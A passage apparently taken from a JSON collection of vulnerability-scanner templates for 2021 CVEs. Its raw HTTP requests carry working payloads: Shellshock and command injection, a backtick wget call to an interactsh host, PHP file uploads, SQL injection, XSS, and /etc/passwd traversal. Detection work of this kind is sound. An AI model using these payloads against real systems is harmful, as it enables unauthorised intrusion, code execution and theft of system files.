close\nX-Requested-With: XMLHttpRequest\n\n------WebKitFormBoundarySHHbUsfCoxlX1bpS\nContent-Disposition: form-data; name=\"file\"; filename=\"poc.txt\"\nContent-Type: image/png\n\n{{randstr}}\n\n------WebKitFormBoundarySHHbUsfCoxlX1bpS\n","GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["{{randstr}}"]},{"type":"word","part":"header","words":["text/plain","ASP.NET"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42071","info":{"name":"Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection","severity":"critical"},"requests":[{"raw":["GET /cgi-bin/slogin/login.py HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nUser-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-39350","info":{"name":"FV Flowplayer Video Player WordPress plugin  - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=fv_player_stats&player_id=1 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","
    FV Player Stats
    "],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-28918","info":{"name":"Netmask NPM Package - Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?url=http://0177.0.0.1/server-status","{{BaseURL}}/?host=http://0177.0.0.1/server-status","{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","part":"body","words":["Apache Server Status","Server Version"],"condition":"and"},{"type":"regex","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-28150","info":{"name":"Hongdian H8922 3.0.5 - Information Disclosure","severity":"medium"},"requests":[{"raw":["GET /backup2.cgi HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic Z3Vlc3Q6Z3Vlc3Q=\n","GET /backup2.cgi HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic YWRtaW46YWRtaW4=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"word","part":"body","words":["CLI configuration saved from vty","service webadmin"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21985","info":{"name":"VMware vSphere Client (HTML5) - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json\n\n{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\n"],"matchers":[{"type":"word","part":"body","words":["{\"result\":{\"isDisconnected\":"]}]}]},{"id":"CVE-2021-39327","info":{"name":"WordPress BulletProof Security 5.1 Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/bps-backup/logs/db_backup_log.txt","{{BaseURL}}/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["BPS DB BACKUP LOG","=================="],"condition":"and"},{"type":"regex","negative":true,"part":"body","regex":["^BPS\\sDB\\sBACKUP\\sLOG\\r\\n==================\\r\\n==================\\r\\n\\r\\n$"]},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24750","info":{"name":"WordPress Visitor Statistics (Real Time Traffic) <4.8 -SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin-ajax.php?action=refDetails&requests=%7B%22refUrl%22:%22'%20union%20select%201,1,md5({{num}}),4--%20%22%7D HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-40272","info":{"name":"IRTS OP5 Monitor - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /api/help'onmouseover=alert(document.domain)/'/;/beta/license HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body, \"help\\'onmouseover=alert(document.domain)/\\'/;/beta/license?format=json\\'>JSON\")","contains_any(tolower(body), \"op5 monitor\", \"itrs\")","contains(content_type, \"text/html\")","status_code == 401"],"condition":"and"}]}]},{"id":"CVE-2021-42663","info":{"name":"Sourcecodester Online Event Booking and Reservation System 2.3.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nname={{username}}&pwd={{password}}\n","GET /views/index.php?msg=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
    "]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3374","info":{"name":"Rstudio Shiny Server <1.5.16 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%2f/","{{BaseURL}}/sample-apps/hello/%2f/"],"matchers-condition":"and","matchers":[{"type":"word","words":["Index of /"]},{"type":"regex","part":"body","regex":["[A-Za-z].*\\.R"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-36450","info":{"name":"Verint Workforce Optimization 15.2.8.10048 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 HTTP/1.1\nHost: {{Hostname}}\n","POST /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3Ch1%3E%26 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nbrowserCheckEnabled=true&username=admin&language=en_US&defaultHttpPort=80&screenHeight=1080&screenWidth=1920&pageModelType=0&pageDirty=false&pageAction=Login&csrfp_login={{csrfp_login}}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">

    Test

    26\" class=\"loginUserNameText"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrfp_login","group":1,"regex":["csrfp_login=([a-zA-Z0-9]+);"],"internal":true,"part":"header"}]}]},{"id":"CVE-2021-3223","info":{"name":"Node RED Dashboard <2.26.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd","{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js"],"matchers-condition":"or","matchers":[{"type":"word","part":"body","words":["Node-RED web server is listening"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-41349","info":{"name":"Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /autodiscover/autodiscover.json HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n%3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["alert(document.domain);","a=\"\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"word","negative":true,"words":["A potentially dangerous Request.Form value was detected from the client"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-44138","info":{"name":"Caucho Resin >=4.0.52 <=4.0.56 - Directory traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/;/WEB-INF/web.xml","{{BaseURL}}/resin-doc/;/WEB-INF/resin-web.xml"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""],"condition":"and"},{"type":"word","part":"header","words":["text/xml","application/xml"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-46005","info":{"name":"Sourcecodester Car Rental Management System 1.0 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /admin/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nConnection: close\n\nusername={{username}}&password={{password}}&login=\n","POST /admin/post-avehical.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarypWqYipqU21aYgccv\n\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"vehicletitle\"\n\nTest\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"brandname\"\n\n1\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"vehicalorcview\"\n\n\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"priceperday\"\n\n500\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"fueltype\"\n\nPetrol\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"modelyear\"\n\n2022\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"seatingcapacity\"\n\n5\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"img1\"; filename=\"test.png\"\nContent-Type: image/png\n\n\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"img2\"; filename=\"test.png\"\nContent-Type: image/png\n\n\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"img3\"; filename=\"test.png\"\nContent-Type: image/png\n\n\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"img4\"; filename=\"test.png\"\nContent-Type: image/png\n\n\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"img5\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundarypWqYipqU21aYgccv\nContent-Disposition: form-data; name=\"submit\"\n\n\n------WebKitFormBoundarypWqYipqU21aYgccv--\n","GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25114","info":{"name":"WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nGET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=6","contains(header_1, \"application/json\")","status_code == 200","contains(body_2, 'other_discount_code_')"],"condition":"and"}]}]},{"id":"CVE-2021-46379","info":{"name":"D-Link DIR850 ET850-1.08TRb03 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/boafrm/formWlanRedirect?redirect-url=http://interact.sh&wlan_id=1"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-43495","info":{"name":"AlquistManager Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/asd/../../../../../../../../etc/passwd"],"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-32172","info":{"name":"Maian Cart <=3.8 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name={{randstr}}.php&target=l1_Lw HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","POST /admin/index.php?p=ajax-ops&op=elfinder HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/javascript, /; q=0.01\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\ncmd=put&target={{hash}}&content=%3c%3fphp%20echo%20%22{{randstr_1}}%22%3b%20%3f%3e\n","GET /product-downloads/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"matchers":[{"type":"dsl","dsl":["contains(body_3, \"{{randstr_1}}\")","status_code_3 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"hash","group":1,"regex":["\"hash\"\\:\"(.*?)\"\\,"],"internal":true}]}]},{"id":"CVE-2021-44139","info":{"name":"Alibaba Sentinel - Server-side request forgery (SSRF)","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/registry/machine?app={{rand_base(5)}}&appType=0&version=0&hostname={{rand_base(5)}}&ip={{interactsh-url}}&port=0"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"header","words":["application/json"]},{"type":"word","part":"body","words":["\"success\":true","\"msg\":\"success\""],"condition":"and"}]}]},{"id":"CVE-2021-21745","info":{"name":"ZTE MF971R - Referer authentication bypass","severity":"medium"},"requests":[{"raw":["GET /goform/goform_get_cmd_process?cmd=psw_fail_num_str HTTP/1.1\nHost: {{Hostname}}\nReferer: http://interact.sh/127.0.0.1.html\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["psw_fail_num_str\":\"[0-9]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20792","info":{"name":"WordPress Quiz and Survey Master <7.1.14 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=mlw_quiz_list&s=\">&paged=\"> HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31195","info":{"name":"Microsoft Exchange Server - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\\&refurl=}}};alert(document.domain)//"],"matchers-condition":"and","matchers":[{"type":"word","words":["alert(document.domain)//&et=ServerError","mail/bootr.ashx"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-46418","info":{"name":"Telesquare TLR-2855KS6 - Arbitrary File Creation","severity":"high"},"requests":[{"raw":["PUT /cgi-bin/{{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\n\n{{randstr}}\n","GET /cgi-bin/{{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_1 == 201","contains(server_1, \"lighttpd\") && contains(content_type_2, \"text/plain\")","contains(body_2, \"{{randstr}}\")"],"condition":"and"}]}]},{"id":"CVE-2021-30461","info":{"name":"VoipMonitor <24.61 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /index.php HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nContent-Type: application/x-www-form-urlencoded\n\nSPOOLDIR=test\".system(id).\"&recheck=Recheck\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid=","gid=","groups=","VoIPmonitor installation"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24442","info":{"name":"Wordpress Polls Widget < 1.5.3 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 25s\nPOST /wp-admin/admin-ajax.php?action=pollinsertvalues HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Forwarded-For: {{randstr}}\n\nquestion_id=1&poll_answer_securety=8df73ed4ee&date_answers%5B0%5D=SLEEP(5)\n"],"matchers":[{"type":"dsl","dsl":["duration>=5","status_code == 200","contains_all(body, \"{\\\"answer_name\", \"vote\\\":\")"],"condition":"and"}]}]},{"id":"CVE-2021-24946","info":{"name":"WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200 || status_code == 500","contains(content_type, \"text/html\")","contains(body, \"The event is finished\") || contains(body, \"been a critical error\")"],"condition":"and"}]}]},{"id":"CVE-2021-21802","info":{"name":"Advantech R-SeeNet - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"zlo onerror=alert(1) \"","Device Status Graph"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-35587","info":{"name":"Oracle Access Manager - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/oam/server/opensso/sessionservice"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["x-oracle-dms-ecid","x-oracle-dms-rid"],"case-insensitive":true,"condition":"or"},{"type":"word","part":"body","words":["/oam/pages/css/general.css"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24499","info":{"name":"WordPress Workreap - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9\nX-Requested-With: XMLHttpRequest\n\n-----------------------------cd0dc6bdc00b1cf9\nContent-Disposition: form-data; name=\"action\"\n\nworkreap_award_temp_file_uploader\n-----------------------------cd0dc6bdc00b1cf9\nContent-Disposition: form-data; name=\"award_img\"; filename=\"{{randstr}}.php\"\nContent-Type: application/x-httpd-php\n\n\n-----------------------------cd0dc6bdc00b1cf9--\n","GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(string)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20123","info":{"name":"Draytek VigorConnect 1.6.0-B - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything","{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"regex","part":"body","regex":["root:.*:0:0:","for 16-bit app support"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-29625","info":{"name":"Adminer <=4.8.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24300","info":{"name":"WordPress WooCommerce <1.13.22 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword=\"onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\\\"onmouseover=alert(document.domain);//\">","PickPlugins Product Slider"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-26475","info":{"name":"EPrints 3.4.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41293","info":{"name":"ECOA Building Automation System - Arbitrary File Retrieval","severity":"high"},"requests":[{"raw":["POST /viewlog.jsp HTTP/1.1\nHost: {{Hostname}}\n\nyr=2021&mh=6&fname=../../../../../../../../etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-28164","info":{"name":"Eclipse Jetty - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/WEB-INF/web.xml"],"matchers":[{"type":"dsl","internal":true,"dsl":["!contains_all(body, '', 'java.sun.com')","!contains_all(header, 'application/xml')","status_code != 200","status_code != 404"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/%2e/WEB-INF/web.xml"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains_all(body, '', 'java.sun.com')","contains_all(header, 'application/xml')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2021-1498","info":{"name":"Cisco HyperFlex HX Data Platform - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /storfs-asup HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\naction=&token=`wget http://{{interactsh-url}}`&mode=`wget http://{{interactsh-url}}`\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21800","info":{"name":"Advantech R-SeeNet 2.4.12 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Ctitle%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SSH Session "]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-29490","info":{"name":"Jellyfin 10.7.2 - Server Side Request Forgery","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Images/Remote?imageUrl=https://oast.me/","{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB"],"stop-at-first-match":true,"matchers":[{"type":"word","part":"body","words":["

    Interactsh Server

    "]}]}]},{"id":"CVE-2021-40971","info":{"name":"Spotweb <= 1.5.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /install.php?page=4 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsettingsform[newpassword1]=pdteam'+onclick='alert(document.domain)\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onclick='alert(document.domain)","Spotweb"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24762","info":{"name":"WordPress Perfect Survey <1.5.2 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nGET /wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(7)))HQYx) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=7"]},{"type":"word","part":"header","words":["wp-ps-session"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2021-31250","info":{"name":"CHIYU TCP/IP Converter - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"],"headers":{"Authorization":"Basic OmFkbWlu"},"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["\">"]}]}]},{"id":"CVE-2021-41277","info":{"name":"Metabase - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/geojson?url=file:///etc/passwd","{{BaseURL}}/api/geojson?url=file:///c://windows/win.ini"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0"]},{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2021-21311","info":{"name":"Adminer <4.7.9 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST {{path}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nauth[driver]=elastic&auth[server]=example.org&auth[username]={{to_lower(rand_base(8))}}&auth[password]={{to_lower(rand_base(8))}}&auth[db]={{to_lower(rand_base(8))}}\n"],"payloads":{"path":["/index.php","/adminer.php","/adminer/adminer.php","/adminer/index.php","/_adminer.php","/_adminer/index.php"]},"attack":"batteringram","stop-at-first-match":true,"redirects":true,"max-redirects":1,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["400 - Bad Request","<title>400 - Bad Request</title>"],"condition":"or"},{"type":"status","status":[403]}]}]},{"id":"CVE-2021-25067","info":{"name":"Landing Page Builder < 1.4.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/edit.php?post_type=ulpb_post&page=page-builder-new-landing-page&thisPostID=test\"+style=animation-name:rotation+onanimationstart=alert(document.domain)+x= HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"test\\\\\\\" style=animation-name:rotation onanimationstart=alert(document.domain)\")","contains(body_2, \"Enter Page Title\")"],"condition":"and"}]}]},{"id":"CVE-2021-36580","info":{"name":"IceWarp Mail Server - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webmail/basic/?referer=https://interact.sh&_c=auth&ctz=120&signup_password=&_a%5bsignup%5d=1"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-46071","info":{"name":"ehicle Service Management System 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{username}}&password={{password}}\n","POST /classes/Master.php?f=save_category HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid=&category=%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&status=1\n","GET /admin/?page=maintenance/category HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_3, 'text/html')","status_code_3 == 200","contains(body_3, \"\\\">\")"],"condition":"and"}]}]},{"id":"CVE-2021-38540","info":{"name":"Apache Airflow - Unauthenticated Variable Import","severity":"critical"},"requests":[{"raw":["GET /login/ HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n","POST /variable/varimport HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7\nReferer: 